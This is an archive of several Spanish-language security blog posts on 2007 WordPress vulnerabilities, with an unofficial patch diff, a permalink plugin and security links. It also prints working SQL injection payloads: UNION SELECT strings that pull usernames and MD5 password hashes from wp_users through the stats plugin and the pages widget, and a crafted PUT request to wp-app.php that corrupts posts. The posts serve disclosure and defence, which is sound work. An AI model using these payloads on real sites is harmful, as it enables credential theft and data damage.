Categories
Seguridad Sql Injection Web WordPress XSS

7 nuevos problemas de seguridad en WordPress

Actualización: g30rg3_x me comenta que ya están disponibles los parches oficiales para estos problemas de seguridad, pueden ver los archivos modificados para las versiones 2.2.x (zip) y 2.0.x (zip).

Hace algunas horas acaban de reportar 7 problemas de seguridad en WordPress:

  1. WordPress Persistant XSS Vulnerability in the Default Theme (v.2.2): Los parámetros para la imagen y color de la cabecera en el tema por omisión de WordPress (Kubrick) son vulnerables. Aunque no lo probé, me parece que es parecido al que reporté hace tiempo.
  2. WordPress /options.php SQL Injection Vulnerability: El parámetro page_options no está correctamente validado en wp-admin/options.php. Sólo los usuarios con nivel Administrador pueden explotar esta vulnerabilidad.
  3. WordPress /options.php Information Disclosure: Esta vulnerabilidad se deriva de la anterior, porque en wp-admin/options.php se asume que el nombre de las opciones son seguras.
  4. WordPress /edit-comments.php Database Error (Bug): Simplemente muestra un error en la consulta si el valor de la página es negativo.
  5. WordPress /link-import.php XSS Vulnerability: El parámetro cat_id no es filtrado adecuadamente, para explotarlo requiere tener un valor adecuado para el parámetro _wpnonce.
  6. WordPress /upload.php XSS Vulnerability: En este caso el parámetro style es inseguro.

La misma persona que reportó estos bugs se tomó el trabajo de realizar un gusano que se encarga de parchar los blogs vulnerables, siempre y cuando se el servidor web tenga permisos de escritura en los archivos afectados.

En cada uno de los tickets abiertos ya existen parches oficiales disponibles (4689, 4690, 4691 y 4692). Mi parche para corregir esos problemas es ligeramente diferente:

diff:

Index: wp-admin/edit-comments.php
===================================================================
--- wp-admin/edit-comments.php  (revision 5825)
+++ wp-admin/edit-comments.php  (working copy)
@@ -76,7 +76,7 @@
 endif;
 
 if ( isset( $_GET['apage'] ) )
-       $page = (int) $_GET['apage'];
+       $page = (int) abs($_GET['apage']);
 else
        $page = 1;
 
Index: wp-admin/link-import.php
===================================================================
--- wp-admin/link-import.php    (revision 5825)
+++ wp-admin/link-import.php    (working copy)
@@ -73,7 +73,7 @@
 
 <h2><?php _e('Importing...') ?></h2>
 <?php
-              $cat_id = $_POST['cat_id'];
+              $cat_id = (int) $_POST['cat_id'];
               if ( $cat_id == '' || $cat_id == 0 )
                      $cat_id  = 1;
 
Index: wp-admin/options.php
===================================================================
--- wp-admin/options.php        (revision 5825)
+++ wp-admin/options.php        (working copy)
@@ -143,6 +143,7 @@
               $options_to_update[] = $option->option_name;
               $class = 'all-options';
        }
+       $option->option_name = attribute_escape($option->option_name);
        echo "
 <tr>
        <th scope='row'><label for='$option->option_name'>$option->option_name</label></th>
Index: wp-admin/upload-functions.php
===================================================================
--- wp-admin/upload-functions.php       (revision 5825)
+++ wp-admin/upload-functions.php       (working copy)
@@ -104,6 +104,8 @@
 function wp_upload_form() {
        $id = get_the_ID();
        global $post_id, $tab, $style;
+       $style = attribute_escape($style);
+       $post_id = (int) $post_id;
        $enctype = $id ? '' : ' enctype="multipart/form-data"';
 ?>
        <form<?php echo $enctype; ?> id="upload-file" method="post" action="<?php echo get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=upload&post_id=$post_id"; ?>">
Index: wp-includes/functions.php
===================================================================
--- wp-includes/functions.php   (revision 5825)
+++ wp-includes/functions.php   (working copy)
@@ -206,6 +206,7 @@
 function get_option($setting) {
        global $wpdb;
 
+       $setting = $wpdb->escape(stripslashes($setting));
        // Allow plugins to short-circuit options.
        $pre = apply_filters( 'pre_option_' . $setting, false );
        if ( $pre )
@@ -305,6 +306,7 @@
 function update_option($option_name, $newvalue) {
        global $wpdb;
 
+       $name = preg_replace('/[^a-z\d_-]/i', '', trim($name));
        wp_protect_special_option($option_name);
 
        if ( is_string($newvalue) )
@@ -352,6 +354,7 @@
 function add_option($name, $value = '', $description = '', $autoload = 'yes') {
        global $wpdb;
 
+       $name = preg_replace('/[^a-z\d_-]/i', '', trim($name));
        wp_protect_special_option($name);
 
        // Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
@@ -391,6 +394,7 @@
 
        wp_protect_special_option($name);
 
+       $name = $wpdb->escape(stripslashes($name));
        // Get the ID, if no ID then return
        $option = $wpdb->get_row("SELECT option_id, autoload FROM $wpdb->options WHERE option_name = '$name'");
        if ( !$option->option_id ) return false;
 

Los que no sepan -- o no quieran -- aplicar manualmente este parche no oficial, pueden descargar el conjunto de archivos modificados para la versión 2.2.1, úsenlo bajo vuestra propia responsabilidad. 🙂

Actualización (03/08/2007): Miquel encontró un bug en el parche que publiqué.

Categories
Sql Injection Web WordPress

SQL Injection en el plugin de estadísticas de WordPress.com

Todos aquellos que estén usando el plugin de estadísticas de WordPress.com, es recomendable que desactiven cuanto antes el mismo, porque incluye una vulnerabilidad bastante grave que permite a un atacante remoto obtener las credenciales de cualquier usuario conociendo sólo su ID.

Detalles de la vulnerabilidad

El mencionado plugin registra dos nuevos métodos en el servidor XMLRPC que todo blog con WordPress tiene, éstos son wpStats.get_posts y wpStats.get_blog -- internamente implementados por stats_get_posts y stats_get_blog respectivamente. El que más nos interesa en este caso, es la función stats_get_posts:

[php start=1]function stats_get_posts( $args ) {
list( $post_ids ) = $args;

$r = 'include=' . join(',', $post_ids);
$posts = get_posts( $r );
$_posts = array();

foreach ( $post_ids as $post_id )
$_posts[$post_id] = stats_get_post($post_id);

return $_posts;
}[/php]

A simple vista se puede ver que no existe ningún tipo de validación en los parámetros que esa función recibe, y como mencioné en ocasiones anteriores, usar esta forma (query string) para pasar parámetros a otras funciones es bastante peligroso, porque permite a un atacante modificar a su gusto los valores.

Por ejemplo, si hacemos que $post_ids contenga algo como:

code:

5&meta_key=%27) UNION ALL SELECT 1,2,3,4,5,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user_pass,23,24,25,26,27,28 FROM wp_users/*&meta_value=1

El valor de la variable $r será:

code:

$r = 'include=5&meta_key=%27) UNION ALL SELECT 1,2,3,4,5,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user_pass,23,24,25,26,27,28 FROM wp_users/*&meta_value=1'

Haciendo unos cambios en el valor de $post_ids se recupera toda la lista de usuarios con sus respectivas contraseñas en MD5, pero para obtener estos valores todavía hay que tener en cuenta las líneas 6, 8 y 9.

Dejo intencionalmente incompleta la prueba de concepto y exploit como reto para los que le gustan estas cosas y como medida de protección de los script kiddies.

Categories
Seguridad Sql Injection Web WordPress

WordPress: Más vulnerabilidades de inyección de SQL

Puesto que en estos días ando algo ocupado y sin muchas ideas para publicar, aprovecharé la oleada de reportes de seguridad en WordPress para comentar algunos bugs que todavía no están corregidos en la versión 2.2.1 ni en la versión en desarrollo, a pesar de que los reporté hace como dos o tres semanas.

Primera variante

Se puede reproducir en las funciones create_post, put_post y put_attachment de wp-app.php, este error se produce porque no escapan adecuadamente todos los caracteres potencialmente peligrosos en los datos que son enviados a ésta página. Esta es la única función que actúa sobre esos datos:

php:

function xml_escape($string)
{
         return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $string );
}

El siguiente ejemplo muestra una petición HTTP que arruinará los contenidos de la tabla wp_posts, en este caso se usa el método put_post.

code:

PUT /wp/wp-app.php?action=/post/55 HTTP/1.1
Cookie: auth cookies
Content-Type: application/atom+xml
Host: localhost
Content-Length: 170

<feed>
    <entry>
        <id>http://localhost/wp/archivos/titulo-modificado/</id>
        <title type="html">foo\</title>
        <summary type="html">/*</summary>       
    </entry>
</feed>

Al realizar esa petición HTTP, la consulta ejecutada será:

sql:

UPDATE IGNORE wp_svn_posts SET
                        post_author = '1',
                        post_date = '2007-06-27 22:57:05',
                        post_date_gmt = '2007-06-28 03:57:05',
                        post_content = '',
                        post_content_filtered = '',
                        post_title = 'foo\',
                        post_excerpt = '/*',

                        post_status = 'publish',
                        post_type = 'post',
                        comment_status = 'open',
                        ping_status = 'open',
                        post_password = '',
                        post_name = 'test',
                        to_ping = '',
                        pinged = '',
                        post_modified = '2007-07-12 23:05:39',
                        post_modified_gmt = '2007-07-13 04:05:39',
                        post_parent = '0',
                        menu_order = '0'
                        WHERE ID = 55
 

Segunda variante

Esta variante está en estrecha relación a lo discutido en "PHP: Uso adecuado de parse_str", en esta entrada, a pesar de que existen más lugares donde se puede hacer lo mismo, sólo mostraré un caso específico.

En el widget para mostrar páginas, existe una opción que permite indicar los IDs de las páginas a excluir, este valor se almacena sin casi ningún tipo de validación (sólo se aplica strip_tags). Si hacemos que ese parámetro tenga el siguiente valor (puede variar de acuerdo a la versión que usen), en la página principal del blog se mostrará la lista de usuarios con su respectiva contraseña en MD5.

code:

2&hierarchical=0&meta_key=2') UNION ALL SELECT 1,1,2,3,4,concat(user_login,0x7C,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_svn_users/*&meta_value=1

Usando este mismo método, es posible realizar ataques XSS en wordpress.com (ver demo, funciona en IE y algunas veces en Firefox), en este caso, las vulnerabilidades de XSS son más peligrosas porque las cookies son globales, es decir, se comparten entre todos los subdominios de wordpress.com.

Categories
WordPress

Corrección de permalinks en WordPress

WordPress en la mayoría de los casos funciona bien para auto generar URLs de entradas con títulos en inglés, pero en nuestro idioma no lo hace tan bien. Por ejemplo, si algún blogger pone como título "Seguridad en WordPress: ¿podríamos vivir sin plugins?", la url generada será seguridad-en-wordpress-%c2%bfpodriamos-vivir-sin-plugins que es equivalente a seguridad-en-wordpress-¿podriamos-vivir-sin-plugins, lo cual naturalmente no se ve bien. 🙂

Para corregir este pequeño problema, preparé un pequeño plugin que elimina todos los caracteres especiales de los permalinks. Básicamente lo que hago es reemplazar la función sanitize_title_with_dashes por esta otra:

php:

<?php
// Copia de la función sanitize_title_with_dashes (wp-includes/formatting.php)
function custom_sanitize_title_with_dashes($title) {
        $title = strip_tags($title);
        // Preserve escaped octets.
        $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---1---', $title);
        // Remove percent signs that are not part of an octet.
        $title = str_replace('%', '', $title);
        // Restore octets.
        $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%1', $title);

        $title = remove_accents($title);
               
        if (function_exists('mb_strtolower') && seems_utf8($title)) {
                $title = mb_strtolower($title, 'UTF-8');
        } else {
                $title = strtolower($title);
        }
       
        $title = preg_replace('/&.+?;/', '', $title); // kill entities
        $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);

        $title = preg_replace('/[\s-]+/', '-', $title);
        $title = trim($title, '-');

        return $title;
}
?>

Este plugin todavía es -- y tal vez se quede en -- una versión alpha, si alguno está interesado en la funcionalidad, puede descargarlo o ver el código fuente.

Categories
Miniposts Seguridad Web WordPress

Seguridad en WordPress

Un par de enlaces relacionados a los problemas de seguridad de WordPress:

  • Existe una propuesta para cambiar la forma en que se interactúa con la base de datos, esto es, utilizar una especie de consultas parametrizadas basadas en sprintf con el fin de evitar el gran número de problemas de SQL Injection que existe con el esquema actual, que no es otra cosa que una implementación propia de magic_quotes.
  • Entrevista a Steffan Esser sobre el estado de la seguridad de WordPress.